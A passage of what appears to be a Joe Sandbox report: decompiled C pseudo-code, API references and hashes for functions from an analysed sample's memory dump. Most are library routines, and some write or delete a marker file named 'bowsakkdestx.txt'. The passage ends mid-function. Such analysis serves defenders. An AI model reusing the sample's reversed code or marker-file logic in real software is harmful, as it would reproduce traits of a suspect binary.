0x0041425b
0x00000000
0x00414190
0x00414192
0x0041419d
0x004141a0
0x004141aa
0x004141b0
0x004141b6
0x004141bf
0x004141b8
0x004141ba
0x004141ba
0x004141c5
0x004141cb
0x004141c7
0x004141c7
0x004141c7
0x004141d0
0x004141d3
0x004141d5
0x004141e4
0x004141e9
0x004141ec
0x004141ec
0x004141f1
0x0041421c
0x00414220
0x00414222
0x00414222
0x00414224
0x00414228
0x0041422e
0x0041422a
0x0041422a
0x0041422a
0x00414230
0x00414232
0x00414235
0x00414239
0x00000000
0x00414239
0x004141f3
0x004141f3
0x004141f9
0x004141ff
0x004141fb
0x004141fb
0x004141fb
0x00414204
0x0041420a
0x00414206
0x00414206
0x00414206
0x0041420e
0x00414215
0x0041423e
0x0041423e
0x0041420e
0x00414246
0x00414246
0x004141aa
0x00414253
0x00414253
0x0041418a

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E0045AD50(void* __ebx, void* __edx, void* __ebp, char _a4, char _a8) {
				void* __edi;
				intOrPtr _t17;
				intOrPtr _t18;
				signed int _t36;
				intOrPtr _t44;
				intOrPtr* _t45;
				intOrPtr _t46;

				_t48 = __ebp;
				_t1 =  &_a8; // 0x463743
				_t46 =  *_t1;
				_t2 =  &_a4; // 0x463743
				_t45 =  *_t2;
				_t39 =  *_t45;
				if( *_t45 >= _t46) {
					L3:
					 *_t45 = _t46;
					return _t46;
				} else {
					if( *(_t45 + 8) < _t46) {
						__eflags = _t46 - 0x5ffffffc;
						if(__eflags <= 0) {
							_t17 =  *((intOrPtr*)(_t45 + 4));
							_push(__ebx);
							_t36 = 0xaaaaaaab * (_t46 + 3) >> 0x20 >> 1 << 2;
							__eflags = _t17;
							if(_t17 != 0) {
								_t18 = E00454F30(_t17, _t36, ".\\crypto\\buffer\\buffer.c", 0x7b);
							} else {
								_t18 = E00454E50(_t36, ".\\crypto\\buffer\\buffer.c", 0x79);
							}
							_t44 = _t18;
							__eflags = _t44;
							if(__eflags != 0) {
								__eflags = _t46 -  *_t45;
								 *((intOrPtr*)(_t45 + 4)) = _t44;
								 *(_t45 + 8) = _t36;
								E0042B420( *_t45 + _t44, 0, _t46 -  *_t45);
								 *_t45 = _t46;
								return _t46;
							} else {
								E004512D0(_t36, _t44, _t45, _t48, __eflags, 7, 0x64, 0x41, ".\\crypto\\buffer\\buffer.c", 0x7e);
								__eflags = 0;
								return 0;
							}
						} else {
							E004512D0(__ebx, __edx, _t45, __ebp, __eflags, 7, 0x64, 0x41, ".\\crypto\\buffer\\buffer.c", 0x74);
							__eflags = 0;
							return 0;
						}
					} else {
						E0042B420( *((intOrPtr*)(_t45 + 4)) + _t39, 0, _t46 - _t39);
						goto L3;
					}
				}
			}

0x0045ad50
0x0045ad51
0x0045ad51
0x0045ad56
0x0045ad56
0x0045ad5a
0x0045ad5e
0x0045ad7a
0x0045ad7a
0x0045ad80
0x0045ad60
0x0045ad63
0x0045ad81
0x0045ad87
0x0045adad
0x0045adb0
0x0045adb5
0x0045adb8
0x0045adba
0x0045add7
0x0045adbc
0x0045adc4
0x0045adc9
0x0045addf
0x0045ade1
0x0045ade3
0x0045ae06
0x0045ae08
0x0045ae11
0x0045ae15
0x0045ae1d
0x0045ae24
0x0045ade5
0x0045adf2
0x0045adfa
0x0045ae01
0x0045ae01
0x0045ad89
0x0045ad96
0x0045ad9e
0x0045ada2
0x0045ada2
0x0045ad65
0x0045ad72
0x00000000
0x0045ad77
0x0045ad63

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E0040C5C0(void* __ebx, char* __ecx) {
				intOrPtr _v20;
				char _v24;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr* _v64;
				char _v72;
				intOrPtr _v76;
				void* __edi;
				char* _t19;
				intOrPtr _t24;
				void* _t31;
				intOrPtr* _t34;
				void* _t35;
				intOrPtr* _t38;
				void* _t39;
				void* _t42;
				char* _t43;

				_t31 = __ebx;
				_t19 =  &_v44;
				_v48 = 0;
				_t43 = __ecx;
				__imp__UuidCreate(_t19, _t39, _t42);
				if(_t19 != 0) {
					L9:
					_push(0x24);
					 *((intOrPtr*)(_t43 + 0x14)) = 0xf;
					 *((intOrPtr*)(_t43 + 0x10)) = 0;
					 *_t43 = 0;
					E004156D0(_t31, _t43, _t39, "8a4577dc-de55-4eb5-b48a-8a3eee60cd95");
					goto L10;
				} else {
					_v56 = _t19;
					__imp__UuidToStringA( &_v48,  &_v56);
					_t38 = _v64;
					if(_t38 == 0) {
						goto L9;
					} else {
						_v20 = 0xf;
						_v24 = 0;
						_v40 = 0;
						if( *_t38 != 0) {
							_t34 = _t38;
							_t39 = _t34 + 1;
							do {
								_t24 =  *_t34;
								_t34 = _t34 + 1;
							} while (_t24 != 0);
							_t35 = _t34 - _t39;
						} else {
							_t35 = 0;
						}
						E004156D0(_t31,  &_v40, _t39, _t38);
						__imp__RpcStringFreeA( &_v72, _t35);
						_v76 = 0;
						E00412CA0(_t43,  &_v52);
						if(_v36 < 0x10) {
							L10:
							return _t43;
						} else {
							L00422587(_v48);
							return _t43;
						}
					}
				}
			}

0x0040c5c0
0x0040c5cb
0x0040c5cf
0x0040c5d8
0x0040c5da
0x0040c5e2
0x0040c675
0x0040c675
0x0040c677
0x0040c680
0x0040c68c
0x0040c68f
0x00000000
0x0040c5e8
0x0040c5e8
0x0040c5f6
0x0040c5fc
0x0040c602
0x00000000
0x0040c604
0x0040c604
0x0040c60c
0x0040c614
0x0040c61c
0x0040c622
0x0040c624
0x0040c627
0x0040c627
0x0040c629
0x0040c62a
0x0040c62e
0x0040c61e
0x0040c61e
0x0040c61e
0x0040c636
0x0040c640
0x0040c64a
0x0040c655
0x0040c65f
0x0040c694
0x0040c69b
0x0040c661
0x0040c665
0x0040c674
0x0040c674
0x0040c65f
0x0040c602

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 00437A2D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00437A2D(char _a4, intOrPtr _a8) {
				intOrPtr _t12;
				short* _t28;

				_t28 = _a4;
				if(_t28 != 0 &&  *_t28 != 0 && E00437413(_t28, ?str?) != 0) {
					if(E00437413(_t28, ?str?) != 0) {
						return E00423C92(_t28);
					}
					if(E0043884E(_a8 + 0x250, 0x2000000b,  &_a4, 2) == 0) {
						L9:
						return 0;
					}
					return _a4;
				}
				if(E0043884E(_a8 + 0x250, 0x20001004,  &_a4, 2) == 0) {
					goto L9;
				}
				_t12 = _a4;
				if(_t12 == 0) {
					return GetACP();
				}
				return _t12;
			}

0x00437a31
0x00437a36
0x00437a5e
0x00000000
0x00437a8c
0x00437a7e
0x00437aaf
0x00000000
0x00437aaf
0x00000000
0x00437a80
0x00437aad
0x00000000
0x00000000
0x00437ab3
0x00437ab8
0x00437abc
0x00437abc
0x00437a85

APIs

_wcscmp.LIBCMT ref: 00437A44
_wcscmp.LIBCMT ref: 00437A55

Strings

OCP, xrefs: 00437A4F
ACP, xrefs: 00437A3E

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _wcscmp
String ID: ACP$OCP
API String ID: 856254489-711371036
Opcode ID: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction ID: be6dee110b44ec76455643647cb0bd3c477e6d53c765760a4e3a4e904bc1756d
Opcode Fuzzy Hash: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction Fuzzy Hash: EF01C4A2608215B6EB34BA59DC42FAE37899F0C3A4F105417F948D6281F77CEB4042DC

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040C470(void* __ebx, CHAR* __ecx, void* __edx) {
				char _v264;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t4;
				void* _t17;
				CHAR* _t18;
				void* _t20;

				_t17 = __edx;
				_t4 =  &_v264;
				_t18 = __ecx;
				__imp__SHGetFolderPathA(0, 0x1c, 0, 0, _t4);
				if(_t4 >= 0) {
					PathAppendA( &_v264, "bowsakkdestx.txt");
					_t20 = E004220B6( &_v264, "w");
					__eflags = _t20;
					if(__eflags != 0) {
						_push(_t20);
						_push(lstrlenA(_t18));
						_push(1);
						_push(_t18);
						E00422B02(__ebx, _t17, _t18, _t20, __eflags);
						_push(_t20);
						E00423A38(__ebx, _t18, _t20, __eflags);
						return 1;
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return 0;
				}
			}

0x0040c470
0x0040c479
0x0040c489
0x0040c48b
0x0040c493
0x0040c4a9
0x0040c4c0
0x0040c4c5
0x0040c4c7
0x0040c4d1
0x0040c4d9
0x0040c4da
0x0040c4dc
0x0040c4dd
0x0040c4e2
0x0040c4e3
0x0040c4f2
0x0040c4c9
0x0040c4ca
0x0040c4d0
0x0040c4d0
0x0040c495
0x0040c49b
0x0040c49b

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00423B4C(void* __ebx, void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				char* _v16;
				char _v28;
				signed char _v32;
				void* _t10;
				void* _t19;
				intOrPtr* _t22;
				void* _t24;
				void* _t25;
				intOrPtr* _t27;

				_t25 = __edi;
				_t24 = __edx;
				_t19 = __ebx;
				while(1) {
					_t10 = E00420C62(_t19, _t24, _t25, _a4);
					if(_t10 != 0) {
						break;
					}
					if(E0042793D(_t10, _a4) == 0) {
						_push(1);
						_v16 = "bad allocation";
						_t22 =  &_v28;
						E00430D21(_t22,  &_v16);
						_v28 = 0x4cf748;
						E00430ECA( &_v28, 0x50793c);
						asm("int3");
						_t27 = _t22;
						 *_t27 = 0x4cf748;
						E00430D91(_t22);
						if((_v32 & 0x00000001) != 0) {
							L00422587(_t27);
						}
						return _t27;
					} else {
						continue;
					}
					L7:
				}
				return _t10;
				goto L7;
			}

0x00423b4c
0x00423b4c
0x00423b4c
0x00423b61
0x00423b64
0x00423b6c
0x00000000
0x00000000
0x00423b5f
0x00423b72
0x00423b77
0x00423b7f
0x00423b82
0x00423b8f
0x00423b97
0x00423b9c
0x00423ba1
0x00423ba3
0x00423ba9
0x00423bb2
0x00423bb5
0x00423bba
0x00423bbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00423b5f
0x00423b71
0x00000000

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00780000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041BA10(intOrPtr __ecx) {
				struct _WNDCLASSEXW _v52;

				_v52.cbSize = 0x30;
				_v52.style = 3;
				_v52.lpfnWndProc = E0041BAE0;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = __ecx;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"LPCWSTRszWindowClass";
				_v52.hIconSm = 0;
				return RegisterClassExW( &_v52);
			}

0x0041ba1d
0x0041ba24
0x0041ba2b
0x0041ba32
0x0041ba39
0x0041ba40
0x0041ba43
0x0041ba50
0x0041ba57
0x0041ba5e
0x0041ba65
0x0041ba6c
0x0041ba7c

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32 ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040C420() {
				char _v264;
				CHAR* _t4;

				_t4 =  &_v264;
				__imp__SHGetFolderPathA(0, 0x1c, 0, 0, _t4);
				if(_t4 >= 0) {
					PathAppendA( &_v264, "bowsakkdestx.txt");
					return DeleteFileA( &_v264);
				}
				return _t4;
			}

0x0040c429
0x0040c438
0x0040c440
0x0040c44e
0x00000000
0x0040c45b
0x0040c464

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00427C2E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00427C2E(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, char _a4) {

				_t15 = __eflags;
				E00427F51(__ebx, __edx, __edi, __esi, __eflags);
				_t1 =  &_a4; // 0x423b69
				E00427FAE(__ebx, __edx, __edi, __esi,  *_t1);
				E00427CEC(0xff);
				asm("int3");
				_push(1);
				_push(1);
				_push(0);
				return E00427E0E(__ebx, __edi, __esi, _t15);
			}

0x00427c2e
0x00427c31
0x00427c36
0x00427c39
0x00427c44
0x00427c49
0x00427c4a
0x00427c4c
0x00427c4e
0x00427c58

APIs

__FF_MSGBANNER.LIBCMT ref: 00427C31

Part of subcall function 00427F51: __NMSG_WRITE.LIBCMT ref: 00427F78
Part of subcall function 00427F51: __NMSG_WRITE.LIBCMT ref: 00427F82

__NMSG_WRITE.LIBCMT ref: 00427C39

Part of subcall function 00427FAE: GetModuleFileNameW.KERNEL32(00000000,005104BA,00000104,?,00000001,i;B), ref: 00428040
Part of subcall function 00427FAE: ___crtMessageBoxW.LIBCMT ref: 004280EE

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

_doexit.LIBCMT ref: 00427C50

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: RtlDecodePointer.NTDLL(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Strings

i;B, xrefs: 00427C36

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm_doexit$FileMessageModuleName___crt__lock
String ID: i;B
API String ID: 2447380256-472376889
Opcode ID: 153482db97bfda71f73a9d163006c74db99129bc5c403b59fea0bac6b8996c12
Instruction ID: 2444216041853f974cc06d1078168a6e61cf6443a39b7242863de3565bbad4eb
Opcode Fuzzy Hash: 153482db97bfda71f73a9d163006c74db99129bc5c403b59fea0bac6b8996c12
Instruction Fuzzy Hash: 0CC0122079C31826E9513362FD43B5832065B00B08FD2002ABB081D4C2E9CA5594409A

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0040ECB0(intOrPtr* __ecx, char _a4, char _a20, intOrPtr _a24, char _a28, intOrPtr _a48) {
				char _v8;
				intOrPtr _v16;
				char* _v20;
				char _v32;
				intOrPtr _v36;
				char _v40;
				char _v56;
				void* __ebx;
				void* __edi;
				void* __ebp;
				char* _t82;
				intOrPtr _t85;
				intOrPtr _t99;
				intOrPtr* _t112;
				signed int _t116;
				intOrPtr* _t122;
				void* _t123;
				char* _t129;
				char* _t132;
				intOrPtr _t134;
				intOrPtr* _t136;
				intOrPtr _t138;
				void* _t139;

				_push(0xffffffff);
				_push(0x4caa30);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t138;
				_t139 = _t138 - 0x28;
				_push(_t132);
				_t136 = __ecx;
				_v8 = 0;
				_t82 = 0;
				_t112 = 0;
				_v20 = 0;
				if( &_v32 != __ecx) {
					_t82 =  *__ecx;
					 *__ecx = 0;
					_t112 =  *((intOrPtr*)(__ecx + 4));
					 *((intOrPtr*)(__ecx + 4)) = 0;
					_v20 = _t82;
					 *((intOrPtr*)(__ecx + 8)) = 0;
				}
				_v8 = 1;
				if(_t82 == 0) {
					L10:
					if(_a20 == 0) {
						L39:
						if(_a24 >= 0x10) {
							_t82 = L00422587(_a4);
							_t139 = _t139 + 4;
						}
						_a24 = 0xf;
						_a20 = 0;
						_a4 = 0;
						if(_a48 >= 0x10) {
							_t82 = L00422587(_a28);
						}
						 *[fs:0x0] = _v16;
						return _t82;
					}
					_t121 =  >=  ? _a28 :  &_a28;
					_push( >=  ? _a28 :  &_a28);
					_t84 =  >=  ? _a4 :  &_a4;
					_push( >=  ? _a4 :  &_a4);
					_t82 = E00421B3B();
					_t129 = _t82;
					_t139 = _t139 + 8;
					if(_t129 == 0) {
						goto L39;
					}
					do {
						_v36 = 0xf;
						_v40 = 0;
						_v56 = 0;
						if( *_t129 != 0) {
							_t122 = _t129;
							_t23 = _t122 + 1; // 0x1
							_t132 = _t23;
							do {
								_t85 =  *_t122;
								_t122 = _t122 + 1;
							} while (_t85 != 0);
							_t123 = _t122 - _t132;
							L18:
							_push(_t123);
							_t124 =  &_v56;
							E004156D0(_t112,  &_v56, _t132, _t129);
							_v8 = 3;
							_t134 =  *((intOrPtr*)(_t136 + 4));
							if( &_v56 >= _t134) {
								L28:
								if(_t134 ==  *((intOrPtr*)(_t136 + 8))) {
									E00415230(_t112, _t136, _t134, _t124);
								}
								_t132 =  *((intOrPtr*)(_t136 + 4));
								if(_t132 != 0) {
									 *((intOrPtr*)(_t132 + 0x14)) = 0xf;
									 *((intOrPtr*)(_t132 + 0x10)) = 0;
									 *_t132 = 0;
									if(_v36 >= 0x10) {
										 *_t132 = _v56;
										_v56 = 0;
									} else {
										_t95 = _v40 + 1;
										if(_v40 + 1 != 0) {
											E004205A0(_t132,  &_v56, _t95);
											_t139 = _t139 + 0xc;
										}
									}
									 *((intOrPtr*)(_t132 + 0x10)) = _v40;
									 *((intOrPtr*)(_t132 + 0x14)) = _v36;
									_v36 = 0xf;
									_v40 = 0;
									_v56 = 0;
								}
								goto L36;
							}
							_t99 =  *_t136;
							_t124 =  &_v56;
							if(_t99 > _t124) {
								goto L28;
							}
							_t126 = _t124 - _t99;
							_t116 = (0x2aaaaaab * (_t124 - _t99) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_t124 - _t99) >> 0x20 >> 2);
							if(_t134 ==  *((intOrPtr*)(_t136 + 8))) {
								E00415230(_t116, _t136, _t134, _t126);
							}
							_t112 =  *((intOrPtr*)(_t136 + 4));
							_t132 =  *_t136 + (_t116 + _t116 * 2) * 8;
							if(_t112 != 0) {
								 *((intOrPtr*)(_t112 + 0x14)) = 0xf;
								 *((intOrPtr*)(_t112 + 0x10)) = 0;
								 *_t112 = 0;
								if( *((intOrPtr*)(_t132 + 0x14)) >= 0x10) {
									 *_t112 =  *_t132;
									 *_t132 = 0;
								} else {
									_t107 =  *((intOrPtr*)(_t132 + 0x10)) + 1;
									if( *((intOrPtr*)(_t132 + 0x10)) + 1 != 0) {
										E004205A0(_t112, _t132, _t107);
										_t139 = _t139 + 0xc;
									}
								}
								 *((intOrPtr*)(_t112 + 0x10)) =  *((intOrPtr*)(_t132 + 0x10));
